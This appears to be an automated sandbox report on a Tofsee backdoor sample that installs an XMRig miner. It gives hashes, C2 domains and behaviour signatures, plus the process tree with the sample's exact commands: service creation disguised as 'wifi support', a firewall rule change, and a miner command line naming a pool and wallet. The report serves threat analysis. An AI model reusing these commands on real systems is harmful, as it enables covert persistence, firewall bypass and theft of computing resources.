Analysis

  • max time kernel
    152s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    02/01/2022, 02:28

General

  • Target
    7678b1a94db0fa6bdfaf6b23e9b85a5a.exe
  • Size 344KB
  • Sample220102-cx2ddsgfam
  • SHA256 e142b01c4b04ddca2ffded33fa5e8e3accf2b305021efd57b485cb06f072e84e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7678b1a94db0fa6bdfaf6b23e9b85a5a.exe
    "C:\Users\Admin\AppData\Local\Temp\7678b1a94db0fa6bdfaf6b23e9b85a5a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1532
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mlehyfqk\
      2⤵
        PID:324
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hosrszi.exe" C:\Windows\SysWOW64\mlehyfqk\
        2⤵
          PID:804
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mlehyfqk binPath= "C:\Windows\SysWOW64\mlehyfqk\hosrszi.exe /d\"C:\Users\Admin\AppData\Local\Temp\7678b1a94db0fa6bdfaf6b23e9b85a5a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:628
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description mlehyfqk "wifi internet conection"
            2⤵
              PID:1188
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start mlehyfqk
              2⤵
                PID:1444
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1296
              • C:\Windows\SysWOW64\mlehyfqk\hosrszi.exe
                C:\Windows\SysWOW64\mlehyfqk\hosrszi.exe /d"C:\Users\Admin\AppData\Local\Temp\7678b1a94db0fa6bdfaf6b23e9b85a5a.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1664
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1560
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:936

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/936-76-0x0000000000110000-0x0000000000201000-memory.dmp

                    memory/936-75-0x0000000000110000-0x0000000000201000-memory.dmp

                    memory/1532-55-0x0000000000528000-0x0000000000539000-memory.dmp

                    memory/1532-58-0x0000000000400000-0x000000000046A000-memory.dmp

                    memory/1532-57-0x0000000000020000-0x0000000000033000-memory.dmp

                    memory/1532-56-0x0000000076851000-0x0000000076853000-memory.dmp

                    memory/1560-70-0x0000000000120000-0x0000000000135000-memory.dmp

                    memory/1560-69-0x0000000000120000-0x0000000000135000-memory.dmp

                    memory/1664-67-0x0000000000518000-0x0000000000529000-memory.dmp

                    memory/1664-73-0x0000000000400000-0x000000000046A000-memory.dmp